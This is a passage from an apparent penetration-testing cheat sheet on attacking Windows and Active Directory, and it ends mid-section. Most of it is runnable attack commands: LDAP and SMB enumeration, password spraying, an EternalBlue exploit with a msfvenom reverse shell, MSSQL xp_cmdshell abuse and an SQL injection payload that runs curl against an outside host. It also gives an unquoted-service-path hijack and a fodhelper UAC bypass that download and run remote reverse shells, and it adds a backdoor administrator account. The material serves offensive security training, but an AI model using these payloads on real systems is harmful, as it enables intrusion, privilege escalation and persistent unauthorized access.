<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJfDAMwT8mQDw4jVh61WDtOIs6ValRU8H3tXGrr6-saUelUh4FoCH2MCf6-eTDl5L1n1XCxPkSKrtdYeZktcpr4sXb4ORDC-puUyBiKyfPYXqmKkUZC7BIr19oAYXDpfZdlWMSmflkkQg3zk_urxCmnuohGaXiS5FwIsQzw1trc9VaeBLZU6K-oWRL0P4/s1098/kerberoasting.png" alt=""><figcaption><p>Kerberoasting</p></figcaption></figure>

### Find-PSRemotingLocalAdminAccess

Finding computers on which **current user** has Local Administrator privileges.

{% code overflow="wrap" %}

```powershell
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess -Verbose
```

{% endcode %}

## References

* <https://powersploit.readthedocs.io/en/latest/Recon/>


# Service Exploitation

Basic Service Exploitation in Windows or Active Directory

Service exploitation in the context of Active Directory security involves the exploitation of various services such as SMB (Server Message Block), WinRM (Windows Remote Management), LDAP (Lightweight Directory Access Protocol), and others, typically to gain unauthorized access or escalate privileges within a network. Attackers may exploit vulnerabilities or misconfigurations in these services to execute remote code, conduct reconnaissance, or perform lateral movement within the network. For example, exploiting SMB vulnerabilities like EternalBlue could allow an attacker to execute arbitrary code remotely and propagate across machines. Similarly, abusing misconfigured WinRM endpoints could provide attackers with remote administrative access to compromised systems.

{% content-ref url="/pages/L8zhx7P5FIsiFiwLgmzf" %}
[SMB](/active-directory/service/smb)
{% endcontent-ref %}

{% content-ref url="/pages/sDKuS3WH395ZV6894SMR" %}
[LDAP](/active-directory/service/ldap)
{% endcontent-ref %}


# LDAP

LDAP Enumeration and Exploitation

### **ldapsearch**

Get domain infomation (anonymous bind)

```bash
ldapsearch -H ldap://192.168.1.123 -x -s base namingcontexts
```

Query with credentials

```bash
ldapsearch -x -H 192.168.12.134 -D 'DOMAIN\user' -w 'password' -b "DC=target,DC=htb"
```

Username Enumeration

```bash
ldapsearch -H ldap://192.168.1.123 -x -b "DC=target,DC=htb" "(objectClass=person)" | \
grep "sAMAccountName:"
```

### **ldapdump**

* <https://github.com/dirkjanm/ldapdomaindump>

{% code overflow="wrap" %}

```bash
ldapdomaindump -u 'support\ldap' -p 'p@ssw0rd' dc.support.htb
# Parse Computer Lists
cat domain_computers.json | jq -r .[].attributes.dNSHostName[]
# Parse Domain Users
cat domain_users.json | jq -r .[].attributes.sAMAccountName[]
```

{% endcode %}

### windapsearch

* <https://github.com/ropnop/go-windapsearch>

{% code overflow="wrap" %}

```bash
windapsearch --dc 172.16.8.139 --module users # anonymous bind
windapsearch --dc 172.16.8.139 -d evangelion.lab -u 'asuka' -p 'P@ssw0rd2033' -m users # authenticated
windapsearch --dc 172.16.8.139 -d evangelion.lab -u 'asuka' -p 'P@ssw0rd2033' -m members -g 'CN=EvaDriver,OU=EVA,DC=EVANGELION,DC=lab'
```

{% endcode %}


# SMB

Basic SMB Enumeration and Exploitation

### Basic Enumeration

{% code overflow="wrap" %}

```bash
# List all NetExec modules
netexec smb 172.16.8.139 -L
# Check SMB version
netexec smb 172.16.8.139
# Check SMB Service on subnet
netexec smb 172.16.8.139/24

# Check null auth
smbclient -L 192.168.1.2 --no-pass
smbclient //192.168.1.2/public --no-pass
```

{% endcode %}

### Enumerate Null Sessions

Check if Null Session, also known as Anonymous session, is enabled on the network. Can be very useful on a Domain Controller to enumerate users, groups, password policies, etc.

```bash
netexec smb 172.16.8.139 -u 'nonexistusers' -p ''
netexec smb 172.16.8.139 -u 'nonexistusers' -p '' --shares
```

### Enumerate Guest Logon

Using a random username and password you can check if the target accepts guest logon. If so, it means that either the domain guest account or the local guest account of the server you're targetting is enabled.

{% code overflow="wrap" %}

```bash
netexec smb 172.16.8.139 -u Guest -p ''
netexec smb 172.16.8.139 -u Guest -p '' --shares
```

{% endcode %}

### SMB Signing Not Required

Maps the network of live hosts and saves a list of only the hosts that don't require SMB signing. List format is one IP per line.

{% code overflow="wrap" %}

```bash
netexec smb 192.168.1.0/24 --gen-relay-list relay_list.txt
```

{% endcode %}

Reference:

* <https://www.netexec.wiki/smb-protocol/enumeration>

### Dictionary Attack and Password Spraying

Dictionary attack with username and password lists.

```bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 10.10.10.1 smb2
```

Password spraying with NetExec

{% code overflow="wrap" %}

```bash
netexec smb 10.10.10.1 -u common_users.txt -p 'Passw0rd' --continue-on-success
```

{% endcode %}

### Authenticated Enumeration

Shares check with credentials

{% code overflow="wrap" %}

```bash
# Check using valid account
netexec smb 172.16.8.139 -u asuka -p 'p@ssw0rd' --shares

# check with local account (not domain account)
netexec smb 172.16.8.139 -u asuka -p 'p@ssw0rd' --shares --local-auth
```

{% endcode %}

Username enumeration on Workstation using valid credentials

{% code overflow="wrap" %}

```bash
netexec smb 10.10.100.206 -u 'Jon' -p 'alqfna22' --users
```

{% endcode %}

Enum disk

{% code overflow="wrap" %}

```bash
netexec smb 172.16.8.140 -u 'Administrator' -p 'Password123' --disk --local-auth
```

{% endcode %}

### Password Policy Check

Check password policy on Domain/Workstation

{% code overflow="wrap" %}

```bash
netexec smb 172.16.8.139 -u 'administrator' -p 'passw0rd' --pass-pol
```

{% endcode %}

Example output:

```bash
....................
SMB         172.16.8.139    445    EVANGELION-PC    [+] Dumping password info for domain: EVANGELION
SMB         172.16.8.139    445    EVANGELION-PC    Minimum password length: 7
SMB         172.16.8.139    445    EVANGELION-PC    Password history length: 24
SMB         172.16.8.139    445    EVANGELION-PC    Maximum password age: 41 days 23 hours 53 minutes 
SMB         172.16.8.139    445    EVANGELION-PC    
SMB         172.16.8.139    445    EVANGELION-PC    Password Complexity Flags: 000000
SMB         172.16.8.139    445    EVANGELION-PC        Domain Refuse Password Change: 0
SMB         172.16.8.139    445    EVANGELION-PC        Domain Password Store Cleartext: 0
SMB         172.16.8.139    445    EVANGELION-PC        Domain Password Lockout Admins: 0
SMB         172.16.8.139    445    EVANGELION-PC        Domain Password No Clear Change: 0
SMB         172.16.8.139    445    EVANGELION-PC        Domain Password No Anon Change: 0
SMB         172.16.8.139    445    EVANGELION-PC        Domain Password Complex: 0
SMB         172.16.8.139    445    EVANGELION-PC    
SMB         172.16.8.139    445    EVANGELION-PC    Minimum password age: 1 day 4 minutes 
SMB         172.16.8.139    445    EVANGELION-PC    Reset Account Lockout Counter: 30 minutes 
SMB         172.16.8.139    445    EVANGELION-PC    Locked Account Duration: 30 minutes 
SMB         172.16.8.139    445    EVANGELION-PC    Account Lockout Threshold: None
SMB         172.16.8.139    445    EVANGELION-PC    Forced Log off Time: Not Set
```

### Password Spraying

{% code overflow="wrap" %}

```bash
netexec smb 172.16.8.139 -u username-lists.txt -p 'p@ssw0rd'
```

{% endcode %}

### RID Cycling - Username Enumeration

{% code overflow="wrap" %}

```bash
# NetExec
netexec smb 172.16.8.139 -u evasvc -p 'Serviceworks1' --rid-brute

# Impacket-lookupsid
impacket-lookupsid 'evasvc':'Serviceworks1'@evangelion.lab
impacket-lookupsid 'evasvc':'Serviceworks1'@evangelion.lab | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2
```

{% endcode %}

### SMBClient

```bash
# no pass
smbclient //192.168.1.2/public --no-pass
# with creds
smbclient //172.16.8.139/secrets-folder -U  'username'%'p@ssw0rd' -p 445
# download all files from shares
smbclient '//10.10.11.174/support-tools' -N -c 'prompt OFF;recurse ON;mget *'
```

### Vuln Checks

{% code overflow="wrap" %}

```bash
nmap -Pn --script 'smb-vuln*' -p 139,445 10.10.100.206
netexec smb 10.10.100.206 -u '' -p '' -M ms17-010
```

{% endcode %}

Example output:

```bash
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-24 23:50 WIB
Nmap scan report for 10.10.100.206 (10.10.100.206)
Host is up (0.38s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds
```

```bash
netexec smb 10.10.100.206 -u '' -p '' -M ms17-010

SMB         10.10.100.206   445    JON-PC           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:JON-PC) (domain:Jon-PC) (signing:False) (SMBv1:True)
SMB         10.10.100.206   445    JON-PC           [+] Jon-PC\: 
MS17-010                                            [+] 10.10.100.206 is likely VULNERABLE to MS17-010! (Windows 7 Professional 7601 Service Pack 1)
```

Updated soon...


# MS17-010

SMB Exploit MS17-010

Some tools to exploiting Eternalblue

### Exploiting MS17-010

{% code overflow="wrap" %}

```bash
msfvenom -p windows/shell_reverse_tcp -f exe -o asuka.exe \
-a x86 -e x86/shikata_ga_nai LHOST=192.168.100.1 LPORT=31337

# run nc from attacker
nc -lvp 31337

# exploiting the vulnerability
git clone https://github.com/helviojunior/MS17-010
cd MS17-010
python send_and_execute.py target.lab asuka.exe

# In case the dependency is missing
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install impacket==0.9.22
```

{% endcode %}

Or using Metasploit

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/ms17_010_eternalblue
show options
set LHOST 10.4.33.242
set RHOSTS 10.10.82.157
run
```

{% endcode %}


# MSSQL

Recon and pwning MSSQL Server

### Enumerate MSSQL with Nmap

{% code overflow="wrap" %}

```bash
nmap --script ms-sql-info -p 1433 10.10.10.1
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 10.10.10.1
# enumerate user with empty password
nmap -p 1433 --script ms-sql-empty-password 10.10.10.1
```

{% endcode %}

### Dictionary Attack

{% code overflow="wrap" %}

```bash
# nmap
nmap -p 1433 --script ms-sql-brute --script-args userdb=/opt/common_users.txt,passdb=/opt/unix_passwords.txt 10.10.10.1

# netexec
netexec mssql 10.10.10.1 -u /opt/common_users.txt -p /opt/unix_passwords.txt --local-auth --continue-on-success | grep -v "Login failed for user"
```

{% endcode %}

### Enable xp\_cmdshell

{% code overflow="wrap" %}

```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1' 
RECONFIGURE
```

{% endcode %}

### Impersonate Other User

{% code overflow="wrap" %}

```bash
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

{% endcode %}

### Impacket-MSSQLClient

```bash
impacket-mssqlclient admin:p@ssw0rd@10.10.10.1
# check if we have 'sa' privilege
select IS_SRVROLEMEMBER ('sysadmin')
# execute command using xp_cmdshell
xp_cmdshell "whoami /priv"
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNC_SOLTJDrgSTRUw0w-mM4S3OBn2VgbKzbqysFXxuh4DML0q9fGFrZJQQL14eKyweQoCVzRDLYW9PXF2GeCSoRAFwpNsCS97swvAQ27X_6ZpanQCbZDIjo4uJ_BH2hDMQ8VZ2loKM_uSMZ7hdFkNUhPTXeDc3J2ASqnqM6A-07nJCw8xgygxk9SEJvzI/s1068/mssql%20impacket.png" alt=""><figcaption><p>Impacket-MSSQLClient</p></figcaption></figure>

Or, use Nmap to execute xp\_cmdshell:

{% code overflow="wrap" %}

```bash
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password='p@ssw0rd',ms-sql-xp-cmdshell.cmd="ipconfig" 10.10.10.1
```

{% endcode %}

## PowerUpSQL Stuff

### Check Instance

```bash
get-sqlinstancelocal
get-sqlinstancedomain
Get-SQLConnectionTest -Instance "sql03.zerobyte.id,1433"
```

### Get SQL Instance Info

```
get-sqlserverinfo -instance "WEB06\SQLEXPRESS"
```

### Check Database Links

{% code overflow="wrap" %}

```bash
# AT Command
get-sqlquery -instance "WEB06\SQLEXPRESS" -query "execute as login ='sa'; EXEC ('sp_linkedservers') at SQL03" -Verbose
```

{% endcode %}

### Create or Update Login Mapping

{% code overflow="wrap" %}

```bash
get-sqlquery -instance "WEB06\SQLEXPRESS" -query "EXEC sp_addlinkedsrvlogin 'SQL27', true;" - Verbose
```

{% endcode %}

### Check user can be impersonated

{% code overflow="wrap" %}

```bash
Get-SQLQuery -Instance 'WEB06\SQLEXPRESS' -query "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';"
```

{% endcode %}

### Enable xp\_cmdshell

On local instance

{% code overflow="wrap" %}

```bash
get-sqlquery -query "execute as login ='sa'; EXEC sp_configure 'show advanced options', '1'; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE; EXEC('xp_cmdshell ''whoami'';" -Verbose
```

{% endcode %}

AT command

{% code overflow="wrap" %}

```bash
get-sqlquery -instance "WEB06\SQLEXPRESS" -query "EXECUTE AS LOGIN = 'sa'; EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; REVERT;') AT SQL03;" -Verbose
```

{% endcode %}

### Enable RPC Out

{% code overflow="wrap" %}

```bash
Get-SQLQuery -instance "WEB06\SQLEXPRESS" -query "execute as login ='sa'; exec sp_serveroption 'SQL03', 'rpc out', 'true';" - Verbose
```

{% endcode %}

## SQL Injection Payload

SQLi to RCE

{% code overflow="wrap" %}

```bash
1'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', '1'; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE; EXEC xp_cmdshell 'curl http://192.168.x.x:8088/'; --
```

{% endcode %}


# Privilege Escalation

Windows Privilege Escalation Checks

Privilege escalation checks on Windows involve examining various aspects of the system and its configuration to identify potential vulnerabilities or misconfigurations that could be exploited to elevate privileges.&#x20;

### Labs

* [**THM: Windows PrivEsc Arena**](https://tryhackme.com/r/room/windowsprivescarena)
* [**THM: Windows PrivEsc**](https://tryhackme.com/r/room/windows10privesc)
* [**THM: Bypassing UAC**](https://tryhackme.com/r/room/bypassinguac)

### Tools and Checklists

Here are some common tools and checks used for privilege escalation on Windows systems:

* [x] WinPEAS.exe
* [x] PrivescCheck.ps1
* [x] beRoot.exe
* [x] Watson.exe / Invoke-Watson.ps1
* [x] Moriarty.exe
* [x] PowerUp.ps1
* [x] UAC Bypass
* [x] Windows Exploit Suggester - Next Generation (WES-NG)
* [x] GodPotato

### WinPEAS

Windows Privilege Escalation Awesome Scripts

* <https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS>
* [Invoke-WinPEAS](https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/privesc/Invoke-winPEAS.ps1)

### Unattended Windows Installations

When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:

* C:\Unattend.xml
* C:\Windows\Panther\Unattend.xml
* C:\Windows\Panther\Unattend\Unattend.xml
* C:\Windows\system32\sysprep.inf
* C:\Windows\system32\sysprep\sysprep.xml

### UACME

UAC Bypass

* <https://github.com/yuyudhn/UACME-bin>
* <https://github.com/hfiref0x/UACME>

### PowerUp

PowerUp.ps1 is a program that enables a user to perform quick checks against a Windows machine for any privilege escalation opportunities. It is not a comprehensive check against all known privilege escalation techniques, but it is often a good place to start when you are attempting to escalate local privileges.

* [PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
* [Advanced PowerUp.ps1 Usage](https://rootrecipe.medium.com/advanced-powerup-ps1-usage-ad0f6d713a9f)
* [HackTricks: PowerUp](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup)

```powershell
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
```

### PrivescCheck

This script aims to identify Local Privilege Escalation (LPE) vulnerabilities that are usually due to Windows configuration issues, or bad practices. It can also gather useful information for some exploitation and post-exploitation tasks.

* <https://github.com/itm4n/PrivescCheck>

{% code overflow="wrap" %}

```powershell
# Basic checks
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Risky"
# Extended checks
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
# All checks
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
```

{% endcode %}

{% hint style="info" %}
Note: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Unquoted Service Path

Unquoted Service Paths – Windows Privilege Escalation

In simple terms, when a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

### Manual Checks

Check service without quotes:

{% code overflow="wrap" %}

```powershell
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName | fl
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9ULjlxyh9cZBBJjUL8cZVu3M-7qFG7meVAxsW4FiJEJw60hrqTNJGp5JKIDuJAgvA8b_uA7VwEJRPCVKyNRrdcuArrecDjMPoQHkM-29CA9ps9qGvEA5zZ1LnzRLLqBK9fVsl-gkmdgO-ZJEGg3ekkKEldE6pnQqUG7ZnYN3YZjNaHIzq8cJ9aC7B6AA/s1100" alt=""><figcaption><p>Manual check</p></figcaption></figure>

Check File or Directory Permissions:

{% code overflow="wrap" %}

```powershell
Get-ACL -Path 'C:\Program Files (x86)\IObit' | fl
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAHSEWYdPfXwrMzTr-rDd_Q4zjlAZYNIKOH_T_Rp9rUsHAlXVyRsLtDaQUg7xag6RSFHKI9PD9Ya9oJxXVOnRXIu3TSBqvkOkINizMDsTxTl85XfoFkwRjBe2XxgMyEnChww1U_0UsYnDR1CUUovVMS9pQZ-rZpDWnNlYG4lr4Ju1P-VcWorBVqAnRTdA/s1246" alt=""><figcaption><p>Check directory permissions</p></figcaption></figure>

Check Service Permissions:

{% code overflow="wrap" %}

```powershell
Get-CimInstance -ClassName Win32_Service -Filter "Name = 'IObitUnSvr'" | Select-Object *
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggc4bxxV7hWZkUevIcBdiEr5IqyJHQRrGSVR3Ew5vQdV7pXefBeEMIEGf_2NYc3t6FQe9RqTdaHN5tyvF97-cgq8euiqcnT8sd8TODAfJoqXUtYT3ypbs25gY1uM1G5W9gBq5pIxXD0f7Nm-w2nzBV8l072vNTaXO-7YkblmSQFrGKLIn1eoq19iwim9E/s1200" alt=""><figcaption><p>Check service details</p></figcaption></figure>

### Unquoted Service Path with PowerUp

First, import PowerUp.ps1 to memory.

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('http://192.168.45.243/OSEP/powershell/PowerUp.ps1'))
```

{% endcode %}

Then, check for privilege escalation vectors using this command:

```powershell
Invoke-AllChecks | fl
```

Alternatively, for checking unquoted service paths specifically, use this command:

{% code overflow="wrap" %}

```powershell
Get-UnquotedService | fl
```

{% endcode %}

Example output:

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK2LaEmmu6Tbxf0wxyKX7Y_3_z_LGYLG125rC737IPRZP3hTykFedpcrBlkfpSTfbm25LR8LT31Zi2vm8E9fuQQnO0dHkZbVsmgafiF3zSKP8xy-I4v4QhTknDt55UQfwVji8MGOBfLwEVIdggT_zhpm4G9w4yOO-o5o-wUWWH8ZfXdQRxwwJvhI_cWTM/s1000" alt=""><figcaption><p>Vulnerable Service</p></figcaption></figure>

For detail information about the vulnerable service, use this command:

```powershell
Get-ServiceDetail -Name IObitUnSvr | Select-object *
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvC5lZFNE3MlrI8KYn4O_ELE7h0ViBEmn48GBVOO0X3f10C8xX5wYelLf9EnfWjVHXesysZ0VCb161VK_W385PrSPgzvoBuVZCr3zH8OLb9f4wrk1dZWNiZwR9nK00XK94y6c3sGByqoGN-w7oMZJChQ1CgLXLooi8uGcvy3qpcJ9QazD4e-OlJ3JiNQ/s1200" alt=""><figcaption><p>Service Details</p></figcaption></figure>

Now, for abusing the service, you can use Write-ServiceBinary command:

{% code overflow="wrap" %}

```powershell
Write-ServiceBinary -Name IObitUnSvr -Path "C:\Program Files (x86)\IObit\IObit.exe" -Command "powershell iex ((New-Object Net.WebClient).DownloadString('http://kali-machine/revshell.ps1'))" | fl
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZNdkk1NgkIZ-Gp45SRhTPdY3mpPlt6DLm5cyimOTIXYJLCl885s8MUUZux3cWN6-rezWhhbfxB5c9WRgWP9_dUp7TZSR30JxN5sMalw_UqVsfhfs_NMKA0K5GdFUa7BFOwPp0uuqM_AFSy1mhPo-jV_nkTjX0rO43aYqQ0mQ_kIq4KoRoZD_bvkK8AjY/s1200" alt=""><figcaption><p>Write-ServiceBinary</p></figcaption></figure>

Basically, the above command will replace the original files with a malicious file that contains a reverse shell command.

If you have ability to restart the service, you can run:

```powershell
Stop-Service -Name 'IObitUnSvr'
Start-Service -Name 'IObitUnSvr'
```

But, since you don't have the privilege to restart the service (CanRestart = False), you can reboot the machine since the service is set to autostart.

```bash
shutdown -r -t 0
```

Now, your netcat listener will have a session with the NT\SYSTEM user.

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8zqxQ_QymJMlPFkcSDdugZ472sJv4H2HdySLU2LJPV2qnMfaC5uF2mvq5AeAzYfdpfCFnBddUtiO4ZC4SZq1zNh3-XyfL0Kc7bAfKEUh1zaMOpzJjksuX1QmPC88jbs0SEgIKWJt27qzFCZjk0xpB2_2_kdNOOExqjkwFkVW9FtlUtHZWarFboVRk2M4/s1100" alt=""><figcaption><p>Shell as Admin</p></figcaption></figure>


# UAC Bypass

Common UAC Bypass Checklists

A UAC bypass is a method to circumvent User Account Control, a security feature in Windows that asks for confirmation before making major changes. Bypasses typically trick trusted programs into running malicious code with high privileges.

### UACME

* <https://github.com/hfiref0x/UACME>
* <https://github.com/yuyudhn/UACME-bin>

{% code overflow="wrap" %}

```powershell
# Add new user
Akagi64.exe 61 "net user asuka asuk@1337 /add"
# Reverse shell
Akagi64.exe 61 "E:\Exploits\shell.exe"
```

{% endcode %}

### Fodhelper

Run at Powershell.

* Add New Administrator

{% code overflow="wrap" %}

```powershell
# Add user "asuka"
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force; New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force; Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "net user asuka asuk@1337 /add" -Force; Start-Process "C:\Windows\System32\fodhelper.exe"
# Add asuka to Local Administrator
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force; New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force; Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "net localgroup Administrators asuka /add" -Force; Start-Process "C:\Windows\System32\fodhelper.exe"

# Delete registry value
reg delete HKCU\Software\Classes\ms-settings\ /f
```

{% endcode %}

* Reverse shell

reverse-shell.ps1

{% code overflow="wrap" %}

```powershell
powershell.exe -NoP -ExecutionPolicy Bypass -Command "iex ((New-Object Net.WebClient).DownloadString('http://172.16.8.1/OSEP/research/reverse-shell.ps1'))"
```

{% endcode %}

Convert to Base64 with UTF-16LE char encode.

{% code overflow="wrap" %}

```bash
cat reverse-shell.ps1 | iconv -t UTF-16LE | base64 -w0
```

{% endcode %}

Final Fodhelper payload:

{% code overflow="wrap" %}

```powershell
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force; New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force; Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "powershell.exe -Enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBOAG8AUAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0AQwBvAG0AbQBhAG4AZAAgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADgALgAxAC8ATwBTAEUAUAAvAHIAZQBzAGUAYQByAGMAaAAvAHIAZQB2AGUAcgBzAGUALQBzAGgAZQBsAGwALgBwAHMAMQAnACkAKQAiAAoA" -Force; Start-Process "C:\Windows\System32\fodhelper.exe"
```

{% endcode %}

Delete registry value after command executed:

{% code overflow="wrap" %}

```powershell
reg delete HKCU\Software\Classes\ms-settings\ /f
```

{% endcode %}

### Slui File Handler Hijack LPE

* <https://bytecode77.com/slui-file-handler-hijack-privilege-escalation>
* <https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1>

{% code overflow="wrap" %}

```powershell
powershell -ep bypass
. .\SluiHijackBypass.ps1
SluiHijackBypass -command "cmd.exe" -arch 64
# or
SluiHijackBypass "C:\xampp\htdocs\reverse-shell.exe"
```

{% endcode %}


# Token Abuse

Abusing Token for Privilege Escalation

## SeImpersonatePrivilege

This privilege, held by any process, allows the impersonation (but not creation) of any token, provided that a handle to it can be obtained. Generally, this token/privilege is owned by a Windows service account. You can abuse this privilege to gain NT AUTHORITY/SYSTEM access on Windows using various tools like Rogue-WinRM, RottenPotato, SweetPotato, PrintSpoofer, Juicy Potato, or the newest toolkit, **GodPotato**.

```powershell
whoami /user /priv

# Example output
USER INFORMATION
----------------

User Name                  SID     
========================== ========
nt authority\local service S-1-5-19


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeSystemtimePrivilege         Change the system time                    Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
```

[**GodPotato**](https://github.com/BeichenDream/GodPotato) ftw!

```powershell
GodPotato.exe -cmd "cmd /c whoami /user /priv"
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-2sRb46gem7azeW1asaORa6a-sF0DOHnyoXa3cV1cwEDgXBGWhyphenhyphen7bA6gZKo7r9Loyo2WFTYTICkpJ9mD9NkFK7sompsVjJjKMJHdaO_6xzbg1fFMJBokD59TpftFgrJLz4jShC0trppiQnf7YiQ-grYiQpCeaz4J7SRPawg9j_1a8OqhQUHx8I7Pjpc0/s1201/godpotato-PE.png" alt=""><figcaption><p>GodPotato</p></figcaption></figure>


# Post Exploitation

Active Directory Post Exploitation Checklists

## RDP Stuff

### Add Local Administrator

Create user **asuka** and add to RDP, Admin, and WinRM.

{% code overflow="wrap" %}

```powershell
net user asuka 'TrYh@rdeR!' /add
net localgroup "Remote Desktop Users" asuka /add
net localgroup "Administrators" asuka /add
net localgroup "Remote Management Users" asuka /add
```

{% endcode %}

### Enable RDP Access

{% code overflow="wrap" %}

```powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -
name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# In case powershell is not enabled (like in old machine)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```

{% endcode %}

### Access RDP

{% code overflow="wrap" %}

```bash
